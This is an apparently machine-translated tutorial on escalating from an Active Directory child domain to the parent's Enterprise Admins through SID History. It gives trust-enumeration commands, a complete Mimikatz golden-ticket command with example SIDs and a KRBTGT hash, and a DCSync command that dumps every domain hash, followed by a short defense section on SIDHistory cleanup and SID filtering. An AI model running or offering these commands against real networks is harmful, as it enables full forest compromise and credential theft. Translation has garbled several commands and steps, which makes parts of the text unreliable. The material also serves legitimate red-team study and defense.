preface
This article follows the previous article to explore how the child domain can be moved horizontally to the Enterprise Admin group of the parent domain, and shows how to defend against it.
The Enterprise Admins group
In the parent domain, the Enterprise Admins group is the most important, and it exists only in the root forest domain, and its members have the authority to manage all domains in the forest, because after adding subdomains, Enterprise Admins groups are automatically added to Administrators group members in each domain in the forest. But this group does not exist in the other domain tree, so there is no Enterprise Admins group in the subdomain. This article is also based on the Enterprise Admins group.
Cross-domain access processes
When a user logs in to a client, the system must verify the user’s identity. In addition to the account password, the system also establishes an Access token for the user, which contains the SID of the user account and the SID of all the groups to which the user belongs. When the user obtains the Access token, if he wants to access the resources in the computer, he will show the Access token, and the system will decide what permission the user has according to the SID data in the Access token. Similarly, when the user connects to other computers on the network, the computer will also establish an Access token for the user. When the user needs to access resources, the access token will be presented, and the computer will determine what access permission the user has according to the SID data of the access token presented
SID History
According to Microsoft, SID History is a property that supports migration schemes, and each user account has an associated security identifier (SID) that tracks the access rights of security principals and accounts when they connect to resources. SID history allows access from another account to be effectively cloned into another account and is useful for ensuring that users retain access when moving (migrating) from one domain to another. An account can hold additional SIDs in the SID-history Active Directory property, allowing interoperable account migration between domains (for example, all values in the SID-history are included in the access token). To implement the SID History attack, we will use the domain administrator privileges to insert the obtained authorized SID values into the SID History to simulate the privileges of any user/group (such as Enterprise Admins) for cross-domain assertion.
Enumeration domain trust
1. View domain trust in a global catalog
The Get – DomainTrust – SearchBase “GC: / / (((ENV: USERDNSDOMAIN)”
2. Use Powershell to display a domain trust relationship
Get-ADTrust -Filter *
3. Use the Windows built-in command to view information
nltest /domain_trusts
The preceding command shows that there is a bidirectional trust relationship between the parent domain and the child domain
Environment to prepare
The local environment uses Windows Server2016
Primary domain: dpl.com
Child domain: ziyu.dpl.com
Assuming I’ve got the subdomain controller permission, I’m going to get the root domain permission
EA group Allocation from subdomain to parent domain (Sid History)
The Sid History attack requires:
1, domain name (get-addomain)
Select * from get-addomainSID (get-addomainSID);
Hash domain KRBTGT account (mimitakz)
4, forge user name (administrator)
Root domain EA group ObjectID (convert-nametosid)
1. Use PowerView + Mimikatz to complete the attack
Select Sid History from parent domain
1 Obtain the subdomain name
The Get – Domain or ipconfig/all
② Obtain the SID value of the subdomain
Get-DomainSID
4 Obtain the ObjectID of the root domain EA group
Convert-NameToSid dpl\krbtgt
ⅱ. Introduction to SID
SID uniquely identifies a security principal or security group. S-1-5-21-1315137663-3706837544-1429009142-502 is used as an example
Means the string is SID (S)
Revision Level (1)
Identifier Authority (5, NT Authority)
Domain identifier (21-1315137663-3706837544-1429009142)
Relative identifier RID (KRBTGT 502)
Common SIDs: Domain Admins (S-1-5-domain-512), Domain Users (S-1-5-domain-513), Administrator (S-1-5-domain-500), Enterprise Admins (S-1-5-root domain-519); Admins (S-1-5-domain-515)
To complete the Sid History attack, you need to change the RID. After obtaining the Sid of KRBTGT, change 502 to 519, which is the Enterprise Admins group
Format: Mimikatz Kerberos ::golden /user:administrator /domain: /sid: / KRBTGT :<KRBTGT_HASH> /sids:-519 / PTT
/user – The name of the user to impersonate, administrator in this example
/domain – Fully qualified domain name (FQDN)
/sid – The sid of the domain
/ KRBTGT – NTLM password hash of KRBTGT
/sids – THE SID of the account/group in the AD forest, which can obtain a high-privilege ticket, in this case the Enterprise Admins group/PTT – to inject forged tickets into memory for use
Iii. Complete the attack with Mimikatz
Access to the root domain is denied
Command: mimikatz # kerberos::golden /user:administrator /domain:ziyu.dpl.com /sid:S-1-5-21-2455727910-2290990957-1796281965 /krbtgt:a6dfcc6757f07f2338871c1437661771 /sids:S-1-5-21-551729718-3557281277-2606199327-519 /ptt
Use host name to access, otherwise error, access parent domain success
Export the hash of the root domain using Mimikatz
lsadump::dcsync /domain:dpl.com /all /csv
defense
1. Clear the SID-History attribute after migrating valid accounts
A. Identify the SID in the SIDHistory property of the account.
Get-ADUser -Identity -Properties SidHistory | Select-Object -ExpandProperty SIDHistory
B. Use the SID previously identified to delete the SIDHistory attribute
The Set – ADUser – Identity – Remove @ {SIDHistory = ‘S – 1-5-21 -… ‘}
2. Use the Netdom tool (on the domain controller) to disable SIDHistory netdom trust /domain: /EnableSIDHistory:no
3. Use netdom tools (on domain controllers) to apply SID filter isolation to external netdom trust /domain: /quarantine:yes